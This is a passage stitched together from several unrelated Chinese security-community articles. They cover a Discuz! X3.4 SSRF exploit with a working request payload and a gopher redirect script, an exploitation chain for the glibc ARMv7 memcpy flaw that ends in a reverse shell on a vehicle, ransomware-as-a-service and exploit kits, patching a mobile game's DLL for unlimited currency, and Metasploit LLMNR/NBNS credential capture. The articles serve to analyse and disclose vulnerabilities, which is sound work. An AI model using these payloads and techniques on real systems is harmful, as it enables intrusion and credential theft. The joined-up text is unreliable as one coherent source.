sockets](https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html "Exploiting the Linux kernel via packet sockets")
6.[New Reliable Android Kernel Root Exploitation
Techniques](http://powerofcommunity.net/poc2016/x82.pdf "New Reliable Android
Kernel Root Exploitation Techniques") | 社区文章 |
**作者：天融信阿尔法实验室
原文链接：<https://mp.weixin.qq.com/s/TRCdXZU8v1NsbFhZKLa1Qw>**
## 0x00 漏洞信息简介
* * *
Crossday Discuz! Board（简称
Discuz!）是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来，Discuz!已拥有15年以上的应用历史和200多万网站用户案例，是全球成熟度最高、覆盖率最大的论坛软件系统之一。目前最新版本Discuz!
X3.4正式版于2017年8月2日发布，去除了云平台的相关代码，是 X3.2
的稳定版本。此次漏洞位于`/source/module/misc/misc_imgcropper.php`中的54行处的`$prefix`可控导致SSRF。
文章参考[Discuz x3.4 前台 SSRF 分析](https://paper.seebug.org/756/ "Discuz x3.4 前台
SSRF 分析")。该漏洞公开时间为2018年12月3日，文章地址为[Discuz
x3.4前台SSRF](https://www.cnblogs.com/iamstudy/articles/discuz_x34_ssrf_1.html
"Discuz
x3.4前台SSRF")，由于该文章存在密码，可以查看转载地址：[文章转载地址](https://www.codercto.com/a/43029.html
"Discuz x3.4前台SSRF转载")
## 0x01 漏洞详细分析
* * *
Discuz开源地址为[Gitee](https://gitee.com/Discuz/DiscuzX/ "Discuz")，使用git clone
克隆到本地
git clone https://gitee.com/Discuz/DiscuzX
根据[补丁提交记录](https://gitee.com/Discuz/DiscuzX/commit/41eb5bb0a3a716f84b0ce4e4feb41e6f25a980a3
"补丁提交记录")来切换到漏洞修复前的前一个commit版本
git checkout a5c1b95dc4464ee3da0ebd4655d30867f85d6ae9
本地搭建好运行环境之后首先访问页面`http://www.a.com/dz/DiscuzX/upload/misc.php?mod=imgcropper`，然后点击裁切按钮并抓包
拦截之后重放数据包在提交内容位置添加参数`cutimg`和`picflag`，红框处填写需要请求的IP地址并发送数据包
&cutimg=/dz/DiscuzX/upload/member.php%3fmod%3dlogging%26action%3dlogout%26referer%3d//c%2523%2540192.168.163.131%26quickforward%3d1&picflag=2
这时服务器将成功收到请求
下面来看看后端是怎么处理的，断点地址为`source/module/misc/misc_imgcropper.php`line
54。当传递的`picflag`为`2`时取`$_G['setting']['ftp']['attachurl']`变量的值`"/"`。接下来55行接收拼接可控变量`cutimg`。
既然可控，那么就要看看它后面是怎么处理的，来到Thumb方法
进入`init`方法，到达`parse_url`方法后在`source`中解析出了`host`。此时就会进入`dfsockopen`
//dz/DiscuzX/upload/member.php?mod=logging&action=logout&referer=//c%23%40192.168.163.131&quickforward=1
parse_url支持//baidu.com/s这种形式的url解析
继续跟进`dfsockopen`方法，在该方法中又进行了解析，处理同上，由于不存在协议所以`scheme`为`null`，这样在最后拼接出来的URL就是`://xx.com/`，这样的链接会自动补上协议，所以最后为`http://://xx.com/`。
在windows中使用`curl`请求该地址最终解析到了192.168.163.1，也就是某个网卡的本地地址。请求路径为`http://192.168.163.1/xx.com`
此时我们能够进行内网请求，但是地址并不可控，所以需要找到一个discuz可以进行任意url跳转的漏洞，再请求该路径跳转出去。discuz在退出的时候会取`get`参数`referer`中的值来进行跳转，下面来分析跳转处的代码。
function dreferer($default = '') {
global $_G;
$default = empty($default) && $_ENV['curapp'] ? $_ENV['curapp'].'.php' : '';
//获取 $_GET['referer']参数
$_G['referer'] = !empty($_GET['referer']) ? $_GET['referer'] : $_SERVER['HTTP_REFERER'];
$_G['referer'] = substr($_G['referer'], -1) == '?' ? substr($_G['referer'], 0, -1) : $_G['referer'];
if(strpos($_G['referer'], 'member.php?mod=logging')) {
$_G['referer'] = $default;
}
$reurl = parse_url($_G['referer']);
//如果存在协议则判断是否为http和https，不存在则不判断
if(!$reurl || (isset($reurl['scheme']) && !in_array(strtolower($reurl['scheme']), array('http', 'https')))) {
$_G['referer'] = '';
}
if( !empty($reurl['host']) &&
//判断解析的host是否为 $_SERVER['HTTP_HOST']
!in_array($reurl['host'], array($_SERVER['HTTP_HOST'], 'www.'.$_SERVER['HTTP_HOST'])) &&
//判断 $_SERVER['HTTP_HOST']是否存在于解析出的host中
!in_array($_SERVER['HTTP_HOST'], array($reurl['host'], 'www.'.$reurl['host']))) {
if(!in_array($reurl['host'], $_G['setting']['domain']['app']) &&
!isset($_G['setting']['domain']['list'][$reurl['host']])) {
//截取解析的host第一个.后面的所有内容，没有.则当长度为1时则返回为空
$domainroot = substr($reurl['host'], strpos($reurl['host'], '.')+1);
//$_G['setting']['domain']['root']为array且为空
if(empty($_G['setting']['domain']['root']) ||
(is_array($_G['setting']['domain']['root']) &&
//想要不进入这个判断需要保证 $domainroot为空，这样referer才不会被覆盖，才能实现任意地址跳转
!in_array($domainroot, $_G['setting']['domain']['root']))) {
$_G['referer'] = $_G['setting']['domain']['defaultindex'] ? $_G['setting']['domain']['defaultindex'] : 'index.php';
}
}
} elseif(empty($reurl['host'])) {
$_G['referer'] = $_G['siteurl'].'./'.$_G['referer'];
}
$_G['referer'] = durlencode($_G['referer']);
return $_G['referer'];
}
在上面的代码中只要我们做到`$_G['referer']`不被覆盖即可，首先解析的`host`中存在协议则判断是否为`http`和`https`，不存在则不判断，所以我们可以不传入协议。第二处判断解析的`host`是否为`$_SERVER['HTTP_HOST']`，如果是则不进入if覆盖`$_G['referer']`。但是这样的话在实际的ssrf跳转场景中`$_SERVER['HTTP_HOST']`为空。
所以这个条件无法生效。后面的一个关键判断`$domainroot = substr($reurl['host'],
strpos($reurl['host'],
'.')+1)`;会截取解析的`host`第一个`.`后面的所有内容，没有`.`并且当长度为`1`时则返回为空。返回为空时后面的`!in_array($domainroot,
$_G['setting']['domain']['root']))`这个条件就为false。也就不会进入if判断覆盖`$_G['referer']`了。但是这儿存在一个问题，如果我们host为`a`那么最后通过`curl`跳转的时候就往a跳转了。不能指定任意地址。此时可以利用`parse_url`和`curl`的解析差异来绕过这个限制。构造`//a#@1.1.1.1`，那么`parse_url`将解析`host`为`a`，而`curl`解析host为`1.1.1.1`。所以就得到了构造的完整url。
## 0x02 漏洞利用手段
* * *
最后的利用流程为：ssrf访问本地接口进行URL跳转 ====301====> 跳转到目标服务器，服务器上使用跳转脚本进行协议转换或者任意路径访问
=====302=====>
通过指定协议如`gopher`，访问指定路径/_test...等
首先通过服务器搭建跳转脚本index.php
<?php
header("Location: gopher://127.0.0.1:2333/_test");
?>
本地进行nc监听
ssrf跳转服务器地址
成功将请求转发到本地发送test消息
## 0x03 漏洞修复方法
* * *
官方在[补丁提交记录[2]](https://gitee.com/Discuz/DiscuzX/commit/41eb5bb0a3a716f84b0ce4e4feb41e6f25a980a3
"补丁提交记录\[2\]")的版本提交中对漏洞进行了修复，修复方式为重写了`dfsockopen`中调用的`parse_url`为`_parse_url`，在该方法中判断了`parse_url`是否能够解析出协议，无法解析则退出。
## 0x04 漏洞思考总结
* * *
这个漏洞的成功利用离不开对`parse_url`解析特性的了解，`parse_url`成功从`cutimg`变量中解析出host，才能调用`dfsockopen`方法，在该方法中使用`curl`请求拼接了前缀的地址:`//xx.com`。这将请求本地地址，通过寻找discuz的url跳转来将本地请求转发出去。而在url跳转的利用中使用到了`parse_url`和`curl`对`//a#@1.1.1.1`的解析差异来完成任意地址访问。最后在访问地址使用302跳转来达到使用指定协议请求指定路径或发送数据的目的。
* * * | 社区文章 |
# wJa无源码的源码级调试jar包
wJa在1.0正式版本支持了动态调试jar包，wJa通过反编译得到java源代码，通过jdi实现了类源码级别的调试。
## 打开jar包
正常打开jar之后，可以看到wJa除了原先的反编译区域和CHeetahLangue区域之外增加了DebugJar和Web两个板块
### DebugJar
源码级别调试java代码，下断点，查看变量，单步执行之类常用的功能
### Web
浏览器，方便大家操作，查看Cookies之类的功能，之后会增加强大的功能，暂时功能单一
## 调试使用
wJa会帮助我们自动打开jar包，启用jvm的调试，所以对于Web应用记住不要提前打开，因为端口会被占用。
还有一点关键的是，wJa将会启用jdwp协议，存活在6677端口，不要放公网上，这个协议有漏洞的！
左下角就是jar包的输出内容。
例如我们想要调试`org.joychou.controller.SQLI`类的`jdbc_sqli_vul`方法。
首先需要填写class和method，这一个class需要注意，和我们在编写cheetah时一样，需要将.转变为/，填写完毕之后点击`get method
content`按钮。
可以看到方法内的源代码，并且方法左边会有一个编号，此编号类似于行号，但其实实际上是字节码偏移。
例如当我们想要断在`54:statement = con.createStatement();`这句话上时，可以再ID输入54，点击右边的下断。
这时候我们访问对应的页面，将会得到下面的结果
网页会断下，并且会展示当前运行到的编号和变量内容。
这里需要注意，填写54相当于是执行完了`54:statement =
con.createStatement();`这句话，所以变量中可以看到statement变量。
多次继续单步执行，可以依次浏览结果。
例如当前运行到135，实际上是运行到赋值完res_pwd，这样子对我们进行代码审计有比较方便的效果。
也可以看到右下方的jar包输出内容依次打印的log。
最终我们run起来，删除断点就可以了。
## Web使用
目前只能打印cookies，之后会添加js注入调试之类的功能。
## 之后的优化
之后我会讲代码调试方面模仿idea的断点方式，实现比较方便的内容，主要是java的UI实在不太好搞。 | 社区文章 |
# 智能汽车的新攻击面：GNU Glibc内存损坏漏洞分析（CVE-2020-6096）
|
##### 译文声明
本文是翻译文章，文章原作者 talosintelligence，文章来源：blog.talosintelligence.com
原文地址：<https://blog.talosintelligence.com/2020/05/cve-2020-6096.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 摘要
现代汽车是一个复杂的机器，往往是将机械和计算机系统融为了一体。随着汽车科技的不断进步，一些附加的传感器和设备开始被添加到车辆上，以帮助驾驶员掌握内部或外部环境。这些传感器可以为驾驶员提供实时信息，将车辆连接到全球车联网，并且在某些情况下，还可能会主动使用这些遥测数据来驾驶车辆。
在这些车辆中，通常还会集成移动组件和云组件，以提升最终用户体验。驾驶员将拥有车辆监控、远程启动/停止、实时更新和道路救援等功能，这些附加服务无疑改善了驾乘生活的质量。
但与此同时，所有这些电子和计算机系统在其连接的车辆中，引入了许多不同的攻击媒介，包括蓝牙、数字无线电（HD Radio/DAB）、USB、CAN总线、Wi-Fi，在某些车辆中还包括蜂窝网络。如同其他的嵌入式系统一样，联网的车辆也容易遭受到网络攻击和安全威胁。联网车辆面临的一些威胁包括软件漏洞、基于硬件的攻击，甚至是对车辆的远程控制。在最近开展的一些研究之中，Cisco的客户体验评估与渗透团队（CX
APT）在GNU libc中发现了针对ARMv7的内存损坏漏洞，这将导致Linux
ARMv7操作系统存在被漏洞利用的风险。这个漏洞被编号为TALOS-2020-1019/CVE-2020-6096。
CX APT集合了来自NDS、Neohapsis和Portcullis的专家，该团队为全球客户提供各种安全评估和攻击模拟服务。CX APT
IoT安全事件专门研究并识别汽车组件中存在的漏洞。有关此漏洞的更多信息，您可以在这里阅读完整的公告。CX APT与Cisco
Talos一起披露了该漏洞，libc库的维护者计划在8月发布修复此漏洞的更新。
## 0x01 初始溢出分析
作为工程师和开发人员，我们对库函数的行为存在很多固有的假设，特别是一些比较完善的标准库，例如libc。然而，如果这些假设是不成立的，就可以更改程序执行，并导致未定义的行为。基于这种情况下，Cisco在`memcpy()`的ARMv7实现中发现了一个漏洞，该漏洞能够导致程序进入未定义的状态，并允许在目标应用程序中执行远程代码。最终，在原本应该发生段错误或崩溃的情况下，`memcpy()`中存在的漏洞将导致程序继续执行。这种意外的行为可能会导致程序在运行时状态已经损坏的状态下继续执行，从而导致存在漏洞利用的机会。
我们在对连接的车辆进行近源渗透测试的过程中，在嵌入式Web服务器中发现了整数下溢出漏洞。该嵌入式Web服务器通过车辆的Wi-Fi网络对外暴露，因此有权访问该网络的任何人都可以访问这台Web服务器。尽管该整数下溢出漏洞最终将允许在车辆上实现远程代码执行，但嵌入式设备上`memcpy()`函数的行为却更加有趣。
我们发现，容易受到攻击的嵌入式Web服务器是使用C++语言进行编码的。当Web服务器收到较大的GET请求时，我们观察到它发生崩溃并产生段错误。自然，这样的崩溃非常值得关注，应该对其开展进一步的研究。
经过进一步的分析，我们将崩溃归因于如下的代码片段。这段代码是根据嵌入式Web服务器的可执行映像重构的。
重构的代码片段：
在上面的逻辑中，尝试解析HTTP请求，直至找到行尾的字符。在这个HTTP请求中，行尾字符由CR/LF字符序列定义，以十六进制表示为0x0D和0x0A。最重要的是，应该关注，这个特定实现只需要找到其中的一个字符（CR或者LF）就会结束此行。
GET请求解析后的状态保存在`sLineBuffer`结构中。该结构由四个元素组成，如下图所示。
反汇编中的`sLineBuffer`结构：
`bufsz` – 缓冲区的大小
`nl_pos` – 找到CR/LF字符的缓冲区偏移量
`len` – 当前行的长度
`buf` – 当前正在解析的缓冲区
为了将整数下溢出转换为远程代码执行，上述HTTP请求解析循环将重复进行四次，以正确设置用于PC控制的堆栈。
**第一次循环**
在第一次循环过程中，`sLineBuffer`结构完全使用默认值填充。
bufsz = 2048
nl_pos = 0
len = 0
漏洞利用开始时，`sLineBuffer`结构的状态：
由于`sLineBuffer->len`和`recv_len`都设置为0，因此将跳过第10行的for循环，继续向下执行，到达第23行的recv函数。然后，`recv()`函数将从套接字读取2048字节，并写入`sLineBuffer->buf[0]`位置。
当`recv()`返回时，`recv_len`变量将被设置为返回值2048，执行将继续向下到达第31行，其中`sLineBuffer->len`被设置为等于`recv_len`。
**第二次循环**
在第二次循环的开始，`sLineBuffer`结构是在上次循环结束时的赋值。
bufsz = 2048
nl_pos = 0
len = 2048
第二次循环开始时，`sLineBuffer`结构的状态：
执行将继续到第10行的for ()循环，该循环将在接收到的请求中搜索CR/LF字符，for ()循环将在缓冲区的开始和偏移量`sLineBuffer->
len + recv_len`之间进行循环。但是，由于`sLineBuffer-> len`和`recv_len`的大小均为2048，因此`for
()`循环最终将到达缓冲区末尾，并在堆栈中搜索CR/LF字符。
`for ()`循环将搜索缓冲区结束后的CRLF字符：
如果请求的前2048个字符中没有CR/LF字符，那么下一个要找到的CR/LF字符将位于缓冲区末尾的堆栈上。在我们的示例中，我们在偏移量2760处发现了另一个换行符。
偏移量为2760处找到的换行符：
在找到换行符后，`sLineBuffer`中的`nl_pos`和`len`变量将进行相应更新，请参考第14行和第17行。变量`sLineBuffer->nl_pos`此时的值为`0xAC9（2761）`，而`sLineBuffer->len`此时的值为`0xfffffd37（-713）`。
**第三次循环**
如第7行所示，在第三次循环后不久，就会执行对memcpy()的调用。但是，在上一次循环中，我们已经看到此时sLineBuffer->len的值是一个负值。
调用memcpy()时注册的内容：
如上所示，num的函数参数，也就是要复制的字节数被设置为0xfffffd37。这个十六进制值分别等于无符号十进制形式的+4294966583，以及有符号十进制形式的-713。由于memcpy()需要的是一个无符号整数，因此对memcpy()的调用会尝试复制4294966583字节，这就会导致出现段错误。
但是，在我们的尝试过程中，并没有发生段错误，memcpy()成功返回了。
## 0x02 对memcpy的分析
在调用`memcpy()`之后，将`memcpy()`实现的地址加载到PC寄存器中，然后执行就转到第一条指令。`memcpy()`的ARMv7实现专门是针对该体系结构的。
ARMv7 `memcpy()`实现的汇编：
由于ARM调用约定，memcpy()函数参数存储在以下寄存器中。
R0 – 目的地址
R1 – 源地址
R2 – 要复制的字节数（num）
如第二行所示，`CMP`指令会将num（要复制的字节数）的值与64进行比较。根据定义，ARM中的`CMP`指令从寄存器值中减去操作数的值，生成适当的条件代码。
CMP{cond} Rn, Operand2
`CMP`指令将`Rn`的值减去`Operand2`的值。除了会丢弃结果之外，这条指令与SUBS指令相同。
这些条件代码存储在当前程序状态寄存器（CPSR）的前四个字节中。
条件码设置为最高有效四位的ARM CPSR寄存器结构：
将num与64进行比较之后，第三行的BGE指令将解释这些结果，并进入到相对应的分支中继续执行。
如果要复制64个或更多字节，则程序执行将进入到分支，执行会转移到地址0x405ffcb4。如果需要复制的字节数少于64个，则不会采用该分支，并且执行将继续向下。这一实现的其他行是一系列ARM
NEON指令，这些指令已经针对复制64字节以下的内容进行了优化。
但是，在这种情况下，传递给这个`memcpy()`调用的num值等于0xfffffd37，这个值是在调用`memcpy()`之前在调用程序函数中进行的赋值。由于寄存器`R2`中包含负值，因此`CMP`指令将得出负的结果，因此相应地设置了条件代码。`CMP`指令前后的条件代码如下所示。
`CMP`指令之前的条件CPSR：
`CMP`指令之后的CPSR寄存器的内容：
如图所示，条件代码的值从0变为了1。
BGE是一个针对符号的分支，它是大于等于0的情况。因此，如果值为负，将不会走到这个分支。最终，当长度值为负时，`memcpy()`函数也就不会走到这个分支了，而是会继续复制少于64个自己的内容。
这意味着，并不会复制完整的4294966583字节（即num参数的无符号对应值），而是仅仅复制最低有效字节数。
为了展示该漏洞，并重点说明ARMv7的`memcpy()`实现与其他平台之间的区别，我编写了一个简短的测试程序。该程序尝试将0xfffffd37（分别是无符号十进制形式的+4294966583和有符号十进制形式的-713）字节复制到内存中的某个位置。
测试程序代码中展示了`memcpy()`中的差异：
在其他平台上运行时，这个程序将出现段错误，因为`memcpy()`的num参数0xfffffd37被正确解释为“size_t”值，该值是无符号整数。
在ARMv7架构上运行的测试`memcpy()`程序：
在x64体系结构上运行的测试`memcpy()`程序：
令人惊讶的是，`memcpy()`在ARMv7上的实现并没有将num参数视为“size_t”值，而是将其视为有符号整数。num值0xfffffd37被解释为-713，这意味着，将仅仅复制55个字节。复制之后，该程序将成功完成，并且程序将会退出。
因为在`memcpy()`定义中期待要复制的字节数（num）为无符号整数，因此在`memcpy()`实现过程的任何时刻都不会对num参数执行带符号的分支操作。取代BGE的是无符号大于或等于的对应分支。这样就可以确保将num参数视为无符号，并且`memcpy()`将会按期运行，不会在调用程序中导致未定义的行为。
## 0x03 完成漏洞利用
由于`memcpy()`复制的字节数远少于我们的4294966583字节，而是复制了55个字节，程序执行从`memcpy()`返回（而不是出现段错误），并继续处理GET请求。
重构的代码片段：
**第三次循环（续）**
在`memcpy()`返回之后，我们仍然看到`sLineBuffer->len`保留了负值。并且，此时`sLineBuffer`结构中的变量为以下值。
调用`memcpy()`之后`sLineBuffer`结构的状态：
bufsz = 2048
nl_pos = 2761
len = -713
随着执行继续向下，再次到达第24行的`recv()`函数。为了确定将数据写入的位置，程序使用`sLineBuffer->len`作为`sLineBuffer->buf`的偏移量。但是，由于`sLineBuffer->len`为负，这将导致`recv()`将内容写入堆栈中，从而覆盖`sLineBuffer`结构。
`recv()`函数之前和之后的堆栈：
**第四次循环**
覆盖`sLineBuffer`结构以使其包含我们想要的值之后，HTTP解析循环的最后一次循环将使用我们覆盖的值来获得对`recv()`函数的完全控制。
在最后一次调用`recv()`之后不久，我们可以看到`recv()`沿着链接寄存器（LR）在堆栈中保存了寄存器R0到R3。该操作之前和之后的堆栈结构如下所示。
`recv()`保存寄存器之前的堆栈内容：
`recv()`保存寄存器之后的堆栈内容：
如图所示，返回地址（寄存器LR的内容）保存在堆栈中的0x762806f8位置。
但是，由于`recv()`函数使用`sLineBuffer`结构的变量作为其函数的参数，因此我们可以使用覆盖的值，来控制在什么位置写入什么内容。
使用`recv()`覆盖返回地址后的堆栈：
这样一来，我们就可以覆盖PC，并执行任意代码。
就在返回之前，`recv()`会尝试从堆栈中弹出一些已经保存的寄存器，特别是LR寄存器。由于保存的LR寄存器值已经被缓冲区覆盖，因此我们现在可以控制`recv()`返回的位置。
`recv()`函数的结尾在返回之前使用特定值覆盖LR寄存器：
如我们所见，堆栈指针（SP）指向的地址，其值是位于`mcount()`函数内ROP Gadget的地址。
来自`recv()`的返回地址被ROP Gadget的地址覆盖：
在从堆栈中弹出该值后，LR寄存器将被我们的受控返回地址覆盖，并且此时已经成功覆盖了`recv()`的返回地址。来自`mcount()`的指令会将我们的参数从堆栈中弹出，并将程序控制移交给`system()`，从而使我们可以在所连接的车辆上实现远程代码执行。
从连接的车辆上返回的反向Shell：
## 0x04 总结
作为工程师和开发人员，我们对库函数的行为存在很多固有的假设。如果这些假设是不成立的，那么其最终的行为可能会损害程序的完整性，并导致出现可以利用的漏洞。
在我们的案例中，`memcpy()`的ARMv7实现中的一个漏洞就可以导致程序进入未定义状态，并最终运行远程代码执行。当利用`memcpy()`漏洞时，在本应该发生段错误或者崩溃的地方，程序却继续执行。这种意外行为可能导致程序进入未定义状态，并最终允许远程执行代码。 | 社区文章 |
# 勒索病毒的技术门槛是如何降低的
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 勒索病毒的技术门槛是如何降低的
自勒索病毒被大家官方熟知以来，为了能在这个“有着光明前途的事业”中分一杯羹，越来越多的黑客也是八仙过海各显神通，尽自己所能的制作自己的勒索病毒。继之前我们发现的使用PHP、Python等语言编写勒索病毒之后，近期，另一种简单易用的脚本语言——AutoIt语言也被发现用于编写一种名为CryptoWire的勒索病毒。加上前段时间出现的使用AxCrypt加密工具来加密文件进而达到勒索目的的病毒，可以说勒索病毒的“技术准入门槛”越来越低已是大势所趋。如果说以上这些还算是有“门槛”可言的话，另外一种被称作RaaS的方式则可以说是完全没有“门槛”了。所谓RaaS即Ransomware-as-a-Service，如360互联网安全中心前不久检测到的Saturn RaaS和Data Keeper
RaaS就允许任何人注册该勒索服务并生成自己的勒索病毒。
## 会脚本语言就能写勒索病毒——AutoIt勒索病毒CryptoWire
AutoIt是一种简单易学的脚本语言，功能强大并且不需要运行系统中安装特定的运行环境，这都导致了即便是编程0基础的新手也能快速上手，并且让自己所编写的程序顺利在他人的机器上正常运行。前文所述的这款CryptoWire勒索病毒就是用AutoIt脚本语言编写。
该病毒会尝试加密机器中可访问的所有位置中的文件，包括网络驱动器、网络共享目录、移动磁盘、外部磁盘、内部磁盘，甚至是云存储应用程序中的文件都不会漏过。
CryptoWire使用AES-256算法对文件进行加密操作，会对282种格式的文件进行加密。此外，如果检测到机器接入到了域中（多为企业内部机器），赎金将会乘4。
282种待加密文件格式
检测到机器接入域中则赎金乘4
加密完成后的勒索信息
## 不会脚本语言也能写勒索病毒——RaaS了解下？
所谓RaaS即Ransomware-as-a-Service，可能很多人还不了解这套机制。简单的说，就是病毒作者开发了一款勒索病毒，但并不自己传播，而是邀请其他人来传播，并从每次成功赎金付款的抽成。
为了吸引更多的客户，勒索病毒作者通常还会创建在线管理平台，以便尽可能轻松地部署和跟踪勒索软件。
许多RaaS平台还提供定制选项，类似于勒索金额、加密文件格式、勒索信息语言等均可定制，某些平台甚至还很贴心的提供了在线的技术支持。
以Data Keeper RaaS为例，在客户提供了收取勒索赎金用的比特币钱包地址勒索赎金金额后，会生成勒索病毒本体和对应的解密程序（但不含解密密钥）。
Data Keeper RaaS在线配置页面
此外，Data Keeper RaaS允许每个会员选择要加密的文件类型，这意味着不同版本的Data Keeper所加密的文件类型会有所不同。
Data Keeper RaaS默认提供的待加密文件类型（可自定义）
Saturn RaaS与Data Keeper RaaS情形类似，但提供的自定义项目略少一些：
Saturn RaaS的自定义赎金页面
Saturn RaaS的自定义病毒行为页面
## 传播也有简便方法——Exploit Kit的使用
与上述两款勒索病毒不同，GandCrab勒索病毒虽然也通过RaaS提供服务，但却并不像公众开放，而是仅局限于一个相对较小的圈子中使用。
GandCrab RaaS管理后台登录界面
网传的GandCrab RaaS管理后台数据统计页面
虽然GandCrab RaaS并没有对降低勒索病毒的制作技术门槛，但其传播方式却提供了一种降低传播技术门槛的方法——利用现成的漏洞利用套件（Exploit
Kit，简称EK）来方便自身的传播。
GandCrab本身便是利用Rig EK通过Flash Player的CVE-2018-4878漏洞进行大规模传播的。
RIG EK传播GandCrab流程图
而新版的GandGrab勒索病毒，又换用了Magnitude EK以图更好的传播：
Magnitude EK传播新版GandGrab流程图
从传播的速度来看，较之去年同期开始爆发的Spora勒索病毒而言，合理利用了EK进行自身“推广”的GandGrab也必然有着明显的优势。
**鉴于勒索病毒无论是制作还是传播，其技术门槛都越来越低，这势必会造成勒索病毒数量的进一步增长甚至是爆发。所以在此需要提醒广大用户注意：**
1. 对重要的数据进行备份！备份！备份！
2. 小心使用不明来源的文件，陌生邮件及附件也需谨慎打开
3. 安装安全防护软件并保持防护开启状态
4. 及时安装Windows漏洞补丁！同时，也请确保一些常用的软件保持最新版本，特别是Java，Flash和Adobe Reader等程序，其旧版本经常包含可被恶意软件作者或传播者利用的安全漏洞。
5. 为电脑设置较强的密码——尤其是开启远程桌面的电脑。并且不要在多个站点重复使用相同的密码。
目前360解密大师已支持解密超过100种勒索病毒加密的文件： | 社区文章 |
作者：[浮萍@猎户安全实验室](https://mp.weixin.qq.com/s/92z8oMpvvcDmp3vaqeD7mw
"浮萍@猎户安全实验室")
#### 0x01 前言
最近一款养蛙的游戏非常火，但是语言是日文的。下载了一个汉化的，结果广告一大堆。反编译之后查看是Unity游戏，之前没接触过，就想着跟着看一下。关于这类的破解，可以在52pojie上进行搜索。有很多类似的案例。
这里主要采用的工具为dnSpy，dnSpy 是一款针对 .NET 程序的逆向工程工具。反编译和打包采用的是apktool，当然也可以直接用改之理等工具。
虽然本文以一个小游戏为实例，但这个思路值得安全渗透人员借鉴。
#### 0x02 修改数据
下载app后重命名为zip文件，发现存在`assets\bin\Data\Managed`目录，那么该游戏应该为Unity游戏。
那么需要分析的文件就是就是`Assembly-CSharp.dll`。
首先修改一下抽奖券的数量。安装游戏后，找到抽奖的地方。抽奖的时候提示券不足。
使用dnSpy打开`Assembly-CSharp.dll`文件，然后搜索字符串”足”，可以发现有两个，打开后发现是第一个。
由此可以猜测TicketStock代表抽奖券库存。
ticket表示抽奖券数量。
当页查找ticket，发现有一个initialize方法进行初始化。我们将此处的数量改为1000.
快捷键Ctrl+E编辑IL指令。找到ticket变量后，将ldc.i4.0改为ldc.i4，然后将数值改为1000.
确定后，发现ticket数值已经改变。
打包后并安装apk。
打开抽奖界面发现数量已经改变为1000。
这样虽然达到了修改抽奖券的效果，但数量再大，总会被抽完的。那就换种方法，比如说抽奖的时候增加奖券，或者奖券一直不变。这里采用奖券数量固定的方法，使其不会变动。
if (SuperGameMaster.TicketStock() < 5)
{
ConfilmPanel confilm = this.ConfilmUI.GetComponent<ConfilmPanel>();
confilm.OpenPanel("ふくびき券が足りません");
confilm.ResetOnClick_Screen();
confilm.SetOnClick_Screen(delegate
{
confilm.ClosePanel();
});
return;
}
已知抽奖的时候奖券是从`SuperGameMaster.TicketStock()`获取的，找到该方法。令其返回值为固定的数值。
右键编辑IL指令。
将其值修改为9000.
然后保存后打包并重新安装。
此时无论抽多少次，奖券都不再变化。
另一个就是修改三叶草的数量了。三叶草是该游戏中流行的货币，买东西都是需要该物品。同理找到`CloverPointStock()`方法。
将其返回值修改为8888.之后就可以随便买买买了，三叶草的数量也不会发生变化了。
#### 0x03 汉化
然后就是进行汉化了。汉化的方法和上面的类似。首先搜索需要修改的文字。例如给小青蛙起名字的时候。直接进行字符串搜索。
然后修改为对应的中文就行了。
进入游戏查看
修改其他处的文字也是这样操作即可。当然这种修改方法比较慢，还有另外一种，直接将他人汉化过的dll文件复制进来，可以快速达到汉化的目的，也没有广告的烦恼了。
#### 0x04 总结
这个游戏修改起来比较简单，首先判断为该游戏为Unity3d。然后使用dnSpy来对`Assembly-CSharp.dll`文件进行修改。根据特定的字符串找到需要修改的位置，修改后进行打包签名后即可。
#### 0x05 参考
[1]
[https://www.52pojie.cn/search.php?mod=forum&searchid=23262&orderby=lastpost&ascdesc=desc&searchsubmit=yes&kw=unity3d](https://www.52pojie.cn/search.php?mod=forum&searchid=23262&orderby=lastpost&ascdesc=desc&searchsubmit=yes&kw=unity3d)
[2] <https://www.52pojie.cn/thread-647612-1-1.html>
* * * | 社区文章 |
# 真实环境中的渗透测试：在内网捕捉信用凭证
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://community.rapid7.com/community/services/blog/2016/07/26/capturing-credentials-on-an-internal-network>
译文仅供参考，具体内容表达以及含义原文为准。
**作为一名渗透测试人员,我想做的第一件事是获取一个内部网络的系统访问权限。为了达到这个目的,其中一种方法是对NetBIOS-NS或它的前身LLMNR广播消息做出应答,告诉请求主机我们的攻击者主机就是它们想要连接的主机。
**
**那么NetBIOS-NS和LLMNR是什么呢?**
NetBIOS和LLMNR都是在DNS失败时用于识别一个网络中的主机的服务。
当一个网络上的主机不能通过DNS解析主机名的IP地址时,LLMNR和NetBIOS就会向网络发送广播消息询问网络上所有主机这个主机名是否是它们最初请求的。
作为一个攻击者,我们所要做的就是倾听这些请求,然后做出应答,告诉请求主机(受害者)它们正在寻找的是我们的攻击者机器,并获取它们的连接请求。
**攻击方法**
Metasploit有两个模块是我喜欢用的,我经常用来捕捉受害者机器请求连接时发送的凭证:
auxiliary/server/capture/http_ntlm
auxiliary/server/capture/smb
这两个模块在我们的攻击者机器上设置监听服务来对SMB和HTTP 做出应答,从而获取NTLM / LM哈希表。
我们需要做的是请求受害者机器的这些连接,并引导它们到我们的攻击者机器上来,然后我们就可以捕获这些包含NTLM / LM哈希表的请求。
这可以通过Metasploit的下面两个模块来实现:
auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response
我建议你深入了解这些模块的选项,并理解每一个的功能和使用方法,这在本文中并未涉及。
在下面的图1中,你会注意到我有两个虚拟机。左边的虚拟机是我的攻击者机器,运行Metasploit框架。右边的Windows7虚拟机是受害者的机器。这些虚拟机都运行在本地网络上,所以在虚拟机网络内它们是逻辑上相邻的。
在攻击者机器上的Metasploit框架内我已经做了以下设置:
所有四个模块都已经设置和配置为侦听或响应传入的广播消息,我可以用我的受害者主机Windows7虚拟机来模拟一台主机试图访问网络资源。
图1:获取哈希表
**补救措施**
NetBIOS-NS和LLMNR:
应该注意的是,考虑到足够的密码强度,这种形式的攻击不一定会获得访问权限。因此Rapid7建议,第一步是确保所有账户都配置了强密码,然后考虑在所有Windows主机上禁用NetBIOS和LLMNR协议。
禁用这些协议将限制黑客用来执行一个恶意攻击或捕获Windows身份验证流量的能力。
